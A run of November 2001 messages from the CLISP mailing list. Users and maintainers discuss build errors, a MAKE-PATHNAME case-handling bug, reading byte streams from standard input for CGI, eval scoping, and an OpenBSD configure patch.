> [3] I run the release 2.27 (2001-07-17) of GNU CLISP
> [4] I work private on a kind of neural network for experiments
> [5] The ()-structure is modular, each () has up to 3kb stored in a
> separate file and load on demand. 
> [6] The question(s) :
> 
> [7]
> When I do (load "modul-03.lisp"), I could find no way to unload this
> module. My thought is to free up all variables for other modules. This
> way I will be able to use the same variable names in different modules.
> So, is there a way, to make the load-process unhapened ? (function
> unload - undefined function it says). What is a usual way in this case ?

You're right, its hard.  Look at "unintern" and "delete-package" though.

> [8]
> An other problem is (say it simply) a way like a command
> (bound-variable-xyz) and (unbound-variable-xyz). I found setq and setf,
> but no unsetq, unsetf. 

"makunbound".  ("fmakunbound" for functions.)


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I am using the CLISP 2.27 Win32 binary from clisp.cons.org on a Windows 2000
SP2 machine.  I got the following error today:

A Windows dialog informed me that an unrecoverable error occurred, and I
received the following message from CLISP.

[14]>
*** - handle_fault error2 ! address = 0x1A55A000 not in
[0x1A450000,0x1A5239D4)
!
SIGSEGV cannot be cured. Fault address = 0x1A55A000.

Is this a known problem?



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> * In message <NHELKOLJCDKIICMAPADBOEBFCBAA.dave@synergy.org>
> * On the subject of "[clisp-list] Garbage collector problem in 2.27 (Win32)?"
> * Sent on Sat, 10 Nov 2001 10:04:58 -0800
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> I am using the CLISP 2.27 Win32 binary from clisp.cons.org on a
> Windows 2000 SP2 machine.  I got the following error today:
> 
> A Windows dialog informed me that an unrecoverable error occurred, and
> I received the following message from CLISP.
> 
> [14]>
> *** - handle_fault error2 ! address = 0x1A55A000 not in
> [0x1A450000,0x1A5239D4)
> !
> SIGSEGV cannot be cured. Fault address = 0x1A55A000.
> 
> Is this a known problem?

no.  if you can send us a reproducible test case, we might be able to
fix this problem.
thanks.

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Hi All,

I have been attempting to build the latest clisp CVS and encountered the
following error in src/pathname.d:

touch pathname.d
make
---

test -d bindings || mkdir bindings
./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c pathname.c
In file included from pathname.d:6:
lispbibl.d:7025: warning: register used for two global register variables
pathname.d: In function `parse_logical_word':
pathname.d:1528: warning: `ch' might be used uninitialized in this function
pathname.d: In function `C_cd':
pathname.d:9639: warning: implicit declaration of function `pslashp'
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a  -lncurses -ldl  -o lisp.run
pathname.o: In function `C_cd':
pathname.o(.text+0x7d7e): undefined reference to `pslashp'
collect2: ld returned 1 exit status
make: *** [lisp.run] Error 1

---
Note that I ran configure without any options enabled.

Disabling line 2680 of pathname.d allows clisp to build correctly on my
system (Debian "Woody" Linux; gcc 2:2.95.4-8):

-#undef pslashp
+# undef pslashp

No doubt there is a more correct and subtle solution than this. :-)

Cheers,
Andrew Smith


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Hi,

  I'm trying to play with Garnet 3.0 on clisp 2.27. There seems to be 
some problems. I remember there was a patch at the clisp.cons.org .

Since clisp.cons.org has been down for quite some time and I'm not able 
to connect to clisp.sourceforge.net from China, can anybody point to me 
a url with the latest clisp patch for garnet 3.0 or send me the patch to 
me directly?

TIA!



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I have a bunch of lisp source files that contain functions that I need =
to access from a C program.  However, due to memory limitations, I am =
not able to run a full lisp interpreter.  My current plan is to strip =
down Clisp to only the code needed to load a .mem file. =20

Question #1:  Is there a clean way to strip Clisp down in this fashion?  =
I want to get rid of the whole UI and         the .fas interpreter.


Next, I will embed the stripped down version of Clisp in my C program.  =
I will have the FFI stuff in the .mem file so I can call the functions =
that I need whenever it is loaded.

Question #2:  Does this sound possible?


Since memory is VERY tight, I would like to make a .mem file with only =
the things I need.  I won't need many of the original functions since I =
will not be feeding it anything except a .mem file with everything =
embedded. =20

Question #3: Is there a way to remove functions from the original =
"lispinit.mem" before dumping a new one?


Now for the really ugly part.  I don't think that I can get the full =
version of Clisp running on my target platform.  It is my understanding =
that this is necessary if I am going to create .mem file in the first =
place, since they are very non-portable.

Question #4: Is there a way to target a foreign platform when doing a =
memdump?  If not, what is the smallest chunk of Clisp that I could do =
the dump with?


Thanks in advance for any help you have to offer.
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However, due=20
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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Question #1:&nbsp; Is there a clean way =
to strip=20
Clisp down in this fashion?&nbsp; I want to get rid of the whole UI and=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; the .fas interpreter.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Next, I will embed the stripped down =
version of=20
Clisp in my C program.&nbsp; I will have the FFI stuff in the .mem file =
so I can=20
call the functions that I need whenever it is loaded.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Question #2:&nbsp; Does this sound=20
possible?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Since memory is VERY tight, I would =
like to make a=20
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original=20
functions since I will not be feeding it anything except a .mem file =
with=20
everything embedded.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Question #3: Is there a way to remove =
functions=20
from the original "lispinit.mem" before dumping a new one?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Now for the really ugly part.&nbsp; I =
don't think=20
that I can get the full version of Clisp running on my target =
platform.&nbsp; It=20
is my understanding that this is necessary if I am going to create .mem =
file in=20
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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance&nbsp;for any help you =
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On 11 Nov 01, Michael Zuercher <mzuerche@iastate.edu> wrote:
> I have a bunch of lisp source files that contain functions that I
> need to access from a C program.  However, due to memory
> limitations, I am not able to run a full lisp interpreter.  My
> current plan is to strip down Clisp to only the code needed to load
> a .mem file.

Michael,

For something like this, you might be better off going with a small
Scheme implementation (perhaps Guile?), or a CL implementation that's
made to be embedded in other programs, like ECLS.

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> * In message <20011112102608.A4920@thesoftwaresmith.com.au>
> * On the subject of "[clisp-list] compile error in pathname.d"
> * Sent on Mon, 12 Nov 2001 10:26:08 +1100
> * Honorable andrew@thesoftwaresmith.com.au writes:
>
> I have been attempting to build the latest clisp CVS and encountered
> the following error in src/pathname.d:

this should be fixed now.

Note that all mail regarding CVS CLISP should go to <clisp-devel>.

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In CLISP
"2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)"

if I do

 (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/")

I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo".

The source (clisp/src/pathname.d) is impenetrable to me (not being
written in Lisp, and my German not being any good) but it looks to me
both from the effect and from some code comments you have where you
write (pathname-directory pathname) that maybe you are grabbing the
components of the defaults in the default case mode (which would be
:local if you call PATHNAME-DIRECTORY with no :case argument) and then
filling them in the case mode I supplied (which is :common), which
ends up flipping the case.

I personally believe the right thing is always to fill unsupplied
components from :defaults by grabbing them in :common case and storing
them in :common case, independent of what is supplied as the :case
argument.   [One might make the case that you could also grab them in
:local and store in :local (which you are not doing either), but I
think that is going to go wrong in pathological cases where you are
making a pathname from a filename with one neutral case convention 
and defaulting from a filename with a different neutral case convention.]

I hope this is enough information for you to figure out and correct
the problem.  I certainly know I have no hope of correcting the
problem.

(I'm somewhat surprised some of this stuff isn't coded in Lisp.)



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On Sun, 11 Nov 2001 22:44:29 -0600, Michael Zuercher wrote:

> I have a bunch of lisp source files that contain functions that
> I need to access from a C program.  However, due to memory
> limitations, I am not able to run a full lisp interpreter.
[...] 
> Since memory is VERY tight, I would like to make a .mem file
> with only the things I need.

You might consider using ThinLisp:

  http://thinlisp.sourceforge.net


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On Mon, 12 Nov 2001, Kent M Pitman wrote:
> In CLISP
> "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)"
>
> if I do
>
>  (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/")
>
> I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo".

   Humm... With a different version I get different answer.
Perhaps a downgrade would help?

| viano 1 harley $uname -a
| Linux viano.neomorphic.com 2.2.14-5.0smp #1 SMP Tue Mar 7 21:01:40 EST 2000 i686 unknown
|
| viano 2 harley $clisp --version
| GNU CLISP 2.27 (released 2001-07-17) (built 3211125895) (memory 3211126047)
|
| viano 3 harley $clisp
| [1]>  (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/")
| #P"/home/kent/foo"

harley.




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> * In message <200111121914.OAA08468@TheWorld.com>
> * On the subject of "[clisp-list] Problems with MAKE-PATHNAME in clisp"
> * Sent on Mon, 12 Nov 2001 14:14:54 -0500
> * Honorable Kent M Pitman <pitman@world.std.com> writes:
>
> In CLISP
> "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)"
> 
> if I do
> 
>  (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/")
> 
> I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo".

this bug was introduced on 2001-07-20 in an attempt to to make the
following work (from a pathname test suite posted to c.l.l in July):

(defun foo (x)
  (let ((path (make-pathname
               :defaults (make-pathname :directory
                                        '(:relative :wild-inferiors)
                                        :type x :case :common)
               :host "CL-LIBRARY" :case :common)))
    (string= x (pathname-type path))))

(foo "c")
 ==> t

(foo "C")
 ==> t

You message, as well as issue PATHNAME-COMPONENT-CASE, appear to
indicate that :CASE does _not_ apply to the :DEFAULTS argument to
MAKE-PATHNAME (I.e., FOO should return NIL, not T).
Is this correct?
If it is, I can easily fix the problem (by reverting to the previous
behavior, which was taking the stuff out of defaults as is and putting
it into the new pathname as is).

Thanks for the bug report.
(I wish all our users were as clear as to what and _WHY_ they did not
like!)
 
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Sam Steingold wrote:

>>* In message <3BEF298E.5060305@163.net>
>>* On the subject of "[clisp-list] clisp patch for garnet 3.0"
>>* Sent on Mon, 12 Nov 2001 09:44:46 +0800
>>* Honorable Bruce <bruce253@163.net> writes:
>>
>>Since clisp.cons.org has been down for quite some time and I'm not
>>able to connect to clisp.sourceforge.net from China, can anybody point
>>to me a url with the latest clisp patch for garnet 3.0 or send me the
>>patch to me directly?
>>
> 
> try cvs2.cons.org:/pub/lisp/clisp/packages
> 

Thanks! Got it.




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   Date: 12 Nov 2001 17:44:18 -0500
   From: Sam Steingold <sds@gnu.org>

   > * In message <200111121914.OAA08468@TheWorld.com>
   > * On the subject of "[clisp-list] Problems with MAKE-PATHNAME in clisp"
   > * Sent on Mon, 12 Nov 2001 14:14:54 -0500
   > * Honorable Kent M Pitman <pitman@world.std.com> writes:
   >
   > In CLISP
   > "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)"
   > 
   > if I do
   > 
   >  (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/")
   > 
   > I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo".

   this bug was introduced on 2001-07-20 in an attempt to to make the
   following work (from a pathname test suite posted to c.l.l in July):

   (defun foo (x)
     (let ((path (make-pathname
		  :defaults (make-pathname :directory
					   '(:relative :wild-inferiors)
					   :type x :case :common)
		  :host "CL-LIBRARY" :case :common)))
       (string= x (pathname-type path))))

   (foo "c")
    ==> t

   (foo "C")
    ==> t

I believe this is wrong.  IMO, both should return NIL.  They should return
T if you use :case :common to retrieve the type.  The change in case
is unpredictable if you store using :common case and retrieve with
:local case (which is lamentably the default if :case is not supplied).

   You message, as well as issue PATHNAME-COMPONENT-CASE, appear to
   indicate that :CASE does _not_ apply to the :DEFAULTS argument to
   MAKE-PATHNAME (I.e., FOO should return NIL, not T).
   Is this correct?

Well, :case does not apply to any pathname.  :case is about a translation
mode when storing or retrieving individual components as strings.  The
actual internal case you use is not specified.  

But yes, my personal opinion is that FOO should return NIL.

LispWorks Enterprise 4.1.20 returns NIL.  (I checked this AFTER
deciding what I thought it should return, so my opinion counts as an
independent guess.)

I was going to check it in Allegro but my test license has expired. Sigh.

   If it is, I can easily fix the problem (by reverting to the previous
   behavior, which was taking the stuff out of defaults as is and putting
   it into the new pathname as is).

Let me see if I can explain what I think this is all about.

The purpose of common case is to solve the problem of defaulting between
hosted pathnames that have different notions of canonical case.  e.g.,
grabbing the NAME part from a TOPS-20 pathname and the TYPE part from
a Unix pathname.  The idea is to do a fetch during merging of any
given slot in :common and to store it in the same mode.  That way, it will
change case naturally to the proper case of the new system.  That's
what MERGE-PATHNAMES should do, for example.  But in the case of 
MAKE-PATHNAME, the user manually  calls PATHNAME-NAME and friends for
purposes the system doesn't know, so the user has to remember to do
the store back in the same mode. The system has lost track of the data
path between the extract and restore and so can't assure a consistent use
of :COMMON.

Note that in some Lisp implementations, and  yours may be one, it
might also work to consistently use :LOCAL.  I've never thought this through.
But in the general case, if you have access to file systems with
opposite notions of what case is canonical, if you extract in :LOCAL case
from a TOPS-20 you'll get "FOO" in the normal case of <JDOE>FOO.LISP
and when you store the same "FOO" back in :LOCAL to a Unix pathname,
you'll get FOO.lsp instead of foo.lsp.  But if you only have Unix
pathnames, it would work to use :local to both extract and deposit components.
(The reason I say I'm unsure is I don't recall what the canonical case
is for logical pathnames, and am too lazy to go look at this moment.
If it's uppercase, as I suspect it is, then 
 (make-pathname
    :host my-logical-host
    :name (pathname-name my-unix-pathname :type :local)
    :case :local)
will accidentally flip the case while
 (make-pathname
    :host my-logical-host
    :name (pathname-name my-unix-pathname :type :common)
    :case :common)
will not.

   Thanks for the bug report.
   (I wish all our users were as clear as to what and _WHY_ they did not
   like!)

Not a problem.




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On 12 November 2001, Kent M Pitman <pitman@world.std.com> wrote:
> LispWorks Enterprise 4.1.20 returns NIL.  (I checked this AFTER
> deciding what I thought it should return, so my opinion counts as an
> independent guess.)
> 
> I was going to check it in Allegro but my test license has expired. Sigh.

ACL returns T in both cases.

By the way, you can get new test licenses now for as long as you
want...they don't stop you anymore.

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   Date: Mon, 12 Nov 2001 16:28:08 -0800
   From: Erik Arneson <erik@aarg.net>

   On 12 November 2001, Kent M Pitman <pitman@world.std.com> wrote:
   > LispWorks Enterprise 4.1.20 returns NIL.  (I checked this AFTER
   > deciding what I thought it should return, so my opinion counts as an
   > independent guess.)
   > 
   > I was going to check it in Allegro but my test license has expired. Sigh.

   ACL returns T in both cases.

I hate to ask, but do they implement :case :common at all?

I'd love to see explained by what theory anyone tought this should
return T.  I understand my model of the universe but not the model of
whoever wrote that test case.

   By the way, you can get new test licenses now for as long as you
   want...they don't stop you anymore.

Yeah, I've heard that, too.  But every time I've had to deal with them
about licenses, I get a form asking me to fill out my life history.
It makes me want to procrastinate...



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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

Sam> try this: 

Sam>    (let ((true-input (two-way-stream-input-stream
Sam>                       (symbol-value (synonym-stream-symbol
Sam>                       *standard-input*))))) 
Sam>       (setf (stream-element-type true-input) '(unsigned-byte 8))
Sam>       (read-byte-sequence buffer true-input))

I ran the following at the Linux command line (clisp-2.27):

  $ clisp -q -norc -x '(let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) (exit)'

  *** - SYNONYM-STREAM-SYMBOL: argument #<INPUT STRING-INPUT-STREAM> should be a stream of type SYNONYM-STREAM

Starting CLISP normally and playing around, I find:

  [1]> (describe *standard-input*)

  #<IO SYNONYM-STREAM *TERMINAL-IO*> is an input/output-stream.

  [2]> (two-way-stream-input-stream *terminal-io*)

  *** - TWO-WAY-STREAM-INPUT-STREAM: argument #<IO TERMINAL-STREAM> should be a stream of type TWO-WAY-STREAM
  1. Break [3]> 

If *terminal-io* isn't of type TWO-WAY-STREAM, what is an input/output-stream?


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> * In message <868zdbhv8e.fsf@coulee.tdb.com>
> * On the subject of "Re: [clisp-list] stream trouble"
> * Sent on 13 Nov 2001 01:32:17 -0800
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
> Sam> try this: 
> 
> Sam>    (let ((true-input (two-way-stream-input-stream
> Sam>                       (symbol-value (synonym-stream-symbol
> Sam>                       *standard-input*))))) 
> Sam>       (setf (stream-element-type true-input) '(unsigned-byte 8))
> Sam>       (read-byte-sequence buffer true-input))
> 
> I ran the following at the Linux command line (clisp-2.27):
> 
>   $ clisp -q -norc -x '(let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) (exit)'
> 
>   *** - SYNONYM-STREAM-SYMBOL: argument #<INPUT STRING-INPUT-STREAM> should be a stream of type SYNONYM-STREAM

yes, when started with "-x", CLISP puts the argument into a string and
reads from it.

> Starting CLISP normally and playing around, I find:
> 
>   [1]> (describe *standard-input*)
>   #<IO SYNONYM-STREAM *TERMINAL-IO*> is an input/output-stream.
>   [2]> (two-way-stream-input-stream *terminal-io*)
>   *** - TWO-WAY-STREAM-INPUT-STREAM: argument #<IO TERMINAL-STREAM> should be a stream of type TWO-WAY-STREAM
>   1. Break [3]> 

of course: when both 0 and 1 are terminals, then *terminal-io* is a
TERMINAL-STREAM and not a TWO-WAY-STREAM.

my trick should work when you read _from a file_:

$ echo '(let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) (exit)' > z
$ clisp -q -norc < z
#<INPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/0" @1> is an input-stream.
$

Would you like to write a paper describing what you are doing?
We can put it on our web site, like we did with
<http://clisp.cons.org/clash.html>. 

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David Morse, Harley Gorrell schrieben:

Thank you for your tips. The next problem is not far, but I try and
learn.

greetings
stefan



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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

>> $ clisp -q -norc -x '(let ((true-input (two-way-stream-input-stream
>> (symbol-value (synonym-stream-symbol *standard-input*)))))
>> (describe true-input)) (exit)'
>> 
>> *** - SYNONYM-STREAM-SYMBOL: argument #<INPUT STRING-INPUT-STREAM>
>> should be a stream of type SYNONYM-STREAM

Sam> yes, when started with "-x", CLISP puts the argument into a
Sam> string and reads from it.

What would be the "approved" way of executing lisp code "out-of-band"
so that standard input is reserved for data?  Is it even possible?

Putting the code into a file (test.lisp):

  cat > test.lisp
  (let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input))
  ^D

 and running:

  clisp -q -norc test.lisp

or 

  clisp -q -norc -i test.lisp

gives me the message:  

  *** - TWO-WAY-STREAM-INPUT-STREAM: argument #<IO TERMINAL-STREAM> should be a stream of type TWO-WAY-STREAM

while:

  clisp -q -norc < test.lisp

"works", but as far as I can tell that is going to interfere with the
way the data is sent to the CGI program.  

Is there another way?

A while ago I could see that one solution is to make my CGI script
look like:

  #!/bin/sh

  INCOMING=/tmp/$$.incoming-data

  cat > $INCOMING
 
  clisp -q -norc ...

where clisp reads from $INCOMING in some fashion, obviously no longer
constrained by the *standard-input* intricacies.  I thought that there
might be a way of avoiding that kind of punting.  However, having
beaten my head against a wall for a while, I am not sure there is.

>> [more russell fumbling around elided]

Sam> of course: when both 0 and 1 are terminals, then *terminal-io* is
Sam> a TERMINAL-STREAM and not a TWO-WAY-STREAM.

Sam> my trick should work when you read _from a file_:

Sam> $ echo '(let ((true-input (two-way-stream-input-stream
Sam> (symbol-value (synonym-stream-symbol *standard-input*)))))
Sam> (describe true-input)) (exit)' > z $ clisp -q -norc < z #<INPUT
Sam> BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/0" @1> is an
Sam> input-stream.  $

Sam> Would you like to write a paper describing what you are doing?
Sam> We can put it on our web site, like we did with
Sam> <http://clisp.cons.org/clash.html>.

That seems to be a step-by-step cookbook on how to use clisp as a
shell.  I'd be happy to do that for my problem once I've figured out
how to make it work.  In the meantime, I'll try to put together a more
thorough explanation from start to finish of what I am trying to do.

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Russell Senior writes:

 > In the meantime, I'll try to put together a more thorough
 > explanation from start to finish of what I am trying to do.

I can try to do that for you here, since I don't know the answer,
either.  I've come across the same problem, but avoided it with the
same technique I used to improve performance: I had CLISP open a
socket, and stay running, and served CGI requests with a very small C
program that forwarded the request to the CLISP socket, and sent the
response back to the web server.

The problem he's having is this: CGI requests can come in a number of
forms; one of them is a byte stream on standard input.  The problem is
that the request is a stream of bytes, but in lisp, *standard-input*
is a character stream.  Reading characters from it and getting the
value of the byte by calling char-code would happen to work, but it's
wrong and fragile.  How should one deal with this byte stream?

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> * In message <86wv0upbs3.fsf@coulee.tdb.com>
> * On the subject of "Re: [clisp-list] stream trouble"
> * Sent on 13 Nov 2001 14:05:16 -0800
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>
> What would be the "approved" way of executing lisp code "out-of-band"
> so that standard input is reserved for data?  Is it even possible?

$ cat z
(defun foo ()
  (let ((true-input (two-way-stream-input-stream
                     (symbol-value
                      (synonym-stream-symbol *standard-input*)))))
    (describe true-input)
    (format t "~&line: ~s~%" (read-line true-input))
    (setf (stream-element-type true-input) '(unsigned-byte 8))
    (format t "~&byte: ~s~%" (read-byte true-input)))
  (exit))
(foo)
$ clisp -q -norc -i z < z
;; Loading file z ...
 
#<INPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/0" @1> is an input-stream.
line: "(defun foo ()"
byte: 32
$

Please note that this will _not_ be necessary in the next CLISP release
(*standard-input* and *standard-input* will be real streams, not
synonym streams, but _ONLY_ when appropriate, i.e., when not a terminal).

watch <clisp-devel> for the CVS commit message about implementing this,
if you want to test this feature.

> Sam> Would you like to write a paper describing what you are doing?
> Sam> We can put it on our web site, like we did with
> Sam> <http://clisp.cons.org/clash.html>.
> 
> I'd be happy to do that for my problem once I've figured out how to
> make it work.  In the meantime, I'll try to put together a more
> thorough explanation from start to finish of what I am trying to do.

good.
when/if you get around to doing a text, please use clash.html as a
template (use the same header/footer, CSS, xhtml &c).

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Hi.

First, thanks for all your help in the past...

I'm trying to use the "eval" function.. 

With the following defined. 

(setq mut-fun '(+ 1 2 3))

(defun test (x)
 
 (eval mut-fun)

)

One gets the correct information...
[56]> (test 1)
6

Changing the mut-fun to
[57]> (setq mut-fun '(+ x 1 2 3))
(+ X 1 2 3)
[58]> (test 1)
106

The "X" is a global variable, which has value of 100.
The function has a local "x" variable too.   

How do I use the local "x" variable?   
When global "X" is not defined, I get the following message
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<P><FONT SIZE=2>I'm trying to use the &quot;eval&quot; function.. </FONT>
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<P><FONT SIZE=2>With the following defined. </FONT>
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<P><FONT SIZE=2>One gets the correct information...</FONT>
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<BR><FONT SIZE=2>6</FONT>
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<P><FONT SIZE=2>Changing the mut-fun to</FONT>
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<BR><FONT SIZE=2>106</FONT>
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<P><FONT SIZE=2>The &quot;X&quot; is a global variable, which has value of 100.</FONT>
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See the CLHS:

"EVAL evaluates form in the current dynamic environment and the null
lexical environment."

So, EVAL won't be able to see the lexical binding of X.

Edi.



"Justice, Randy -CONT(DYN)" <Randy.Justice@cnet.navy.mil> writes:

> Hi.
> 
> First, thanks for all your help in the past...
> 
> I'm trying to use the "eval" function.. 
> 
> With the following defined. 
> 
> (setq mut-fun '(+ 1 2 3))
> 
> (defun test (x)
>  
>  (eval mut-fun)
> 
> )
> 
> One gets the correct information...
> [56]> (test 1)
> 6
> 
> Changing the mut-fun to
> [57]> (setq mut-fun '(+ x 1 2 3))
> (+ X 1 2 3)
> [58]> (test 1)
> 106
> 
> The "X" is a global variable, which has value of 100.
> The function has a local "x" variable too.   
> 
> How do I use the local "x" variable?   
> When global "X" is not defined, I get the following message
> *** - EVAL: variable X has no value
> 
> Thanks for any help and insight..
> 
> Randy 


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Hi, all --  

I'm just
trying to install maxima on Linux (SuSE 7.3) with clisp 2 26 running. 
During compilation I get this:

End compile SUPRV1 at Thu Nov 15 17:14:14 2001
Begin compile DSKFN at Thu Nov 15 17:14:14 2001

Compiling file /tmp/maxima-5.6/src/dskfn.lisp ...

Compilation of file /tmp/maxima-5.6/src/dskfn.lisp is finished.
The following functions were used but not defined:
 LISTARGP GETLABELS GETLABELS* MAKEALIAS RULEOF STRIPDOLLAR $FACTS
 DEFAULTF MFILE-OUT
The following functions were used but are deprecated:
 SET
0 errors, 0 warnings
End compile DSKFN at Thu Nov 15 17:14:14 2001
;; Loading file macsys.fas ...
;; Loading of file macsys.fas is finished.
;; Loading file mload.fas ...
;; Loading of file mload.fas is finished.
;; Loading file suprv1.fas ...
*** - READ from #<BUFFERED FILE-STREAM CHARACTER #P"suprv1.fas" @42>: 
there is no character bit with name "NO"
1. Break MAXIMA[8]>

What can I do? Is there some intro for installing maxima with clisp 
elsewhere?

Thanks in advance

Wolfgang



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> * In message <3BF41AFC.8020500@t-online.de>
> * On the subject of "[clisp-list] maxima 5.6 with clisp 2.26"
> * Sent on Thu, 15 Nov 2001 20:43:56 +0100
> * Honorable WZocher@t-online.de (Wolfgang Zocher) writes:
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> *** - READ from #<BUFFERED FILE-STREAM CHARACTER #P"suprv1.fas" @42>:
>       there is no character bit with name "NO"

this is fixed in clisp 2.27.

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I just replaced my CLtL1 with CLtL2 (yeah, probably the last guy on the
block to do so).  What is the status of series in CLISP?  I was reading
Appendix A and thought it'd be fun to play with them.

	Thanks!

	Dave



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>>>>> "Dave" == Dave Richards <dave@synergy.org> writes:

    Dave> I just replaced my CLtL1 with CLtL2 (yeah, probably the last guy on the
    Dave> block to do so).  What is the status of series in CLISP?  I was reading
    Dave> Appendix A and thought it'd be fun to play with them.

See series.sourceforge.net.  It should work just fine.

Ray


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How do I retrieve the documentation string associated with a method created
by defmethod? e.g.

	(defmethod foo ((instance standard-object))
	  "foo doesn't so anything useful."
	  t)

	Thanks!

	Dave



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> * In message <NHELKOLJCDKIICMAPADBOECDCBAA.dave@synergy.org>
> * On the subject of "[clisp-list] documentation"
> * Sent on Tue, 27 Nov 2001 20:37:34 -0800
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> How do I retrieve the documentation string associated with a method created
> by defmethod? e.g.
> 
> 	(defmethod foo ((instance standard-object))
> 	  "foo doesn't so anything useful."
> 	  t)

this doc string is now discarded.
CLISP DOCUMENTATION has cltl1 implementation (not a generic function).

When DOCUMENTATION is implemented correctly, this doc should be available as

(documentation (find-method #'foo nil (list (find-class 'standard-object))) t)

would you like to work on this?

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A long time ago I reported that I couldn't get CLISP to build on
OpenBSD. I've now figured out the problem.

The basic problem is that the "sh" builtin command "cd" sometimes
emits output, e.g.
  $ cd /tmp
  $ cd .
  $ cd ''
  /tmp
  $ 
which plays havoc with the idiom
  canonical_filename=`cd $foo; pwd`
used by the CLISP build scripts to find canonical filenames. (The
basic problem was obscured by the way that the first failure caused by
the basic problem ends up interacting with some rather bizarre "sh"
syntax behavior.)

I've attached a diff against the clisp-2.27 sources to redirect output
from "cd" to "/dev/null". It let CLISP build and pass its tests on my
OpenBSD 2.9 system. I don't guarantee that I didn't make some obscure
mistake in one of the many places where the backquote/cd/pwd idiom is
used, and it'd might be better to find some way to wrap up that idiom
in a subroutine anyway. But at least it shows the way to go for CLISP
maintainers who don't happen to have OpenBSD machines handy for
testing.:-|

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diff -cr ./configure /usr/stuff/clisp-2.27/configure
*** ./configure	Wed Nov 28 15:16:10 2001
--- /usr/stuff/clisp-2.27/configure	Tue May  8 09:09:59 2001
***************
*** 213,219 ****
    srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'`
    test -n "$srcfile_dirname" || srcfile_dirname='/'
    srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'`
!   srcfile_absdirname=`cd "$srcfile_dirname" > /dev/null; pwd`
    if ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null; then
      :
    else
--- 213,219 ----
    srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'`
    test -n "$srcfile_dirname" || srcfile_dirname='/'
    srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'`
!   srcfile_absdirname=`cd "$srcfile_dirname"; pwd`
    if ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null; then
      :
    else
***************
*** 238,244 ****
      echo "$0: srcdir: ($srcdir) nonexistent" 1>&2
      exit 1
    fi
!   ABS_SRCDIR=`cd "$srcdir" > /dev/null; pwd`
    if [ "$DIRNAME" = "" ] ; then
      DIRNAME='.'
    fi
--- 238,244 ----
      echo "$0: srcdir: ($srcdir) nonexistent" 1>&2
      exit 1
    fi
!   ABS_SRCDIR=`cd "$srcdir"; pwd`
    if [ "$DIRNAME" = "" ] ; then
      DIRNAME='.'
    fi
***************
*** 249,262 ****
  else
    if test -f ./ANNOUNCE -a -f ./SUMMARY; then
      srcdir='.'
!     ABS_SRCDIR=`cd "$srcdir" > /dev/null; pwd`
      if [ "$DIRNAME" = "" ] ; then
        DIRNAME=src
      fi
    else
      if test -f ../ANNOUNCE -a -f ../SUMMARY; then
        srcdir='..'
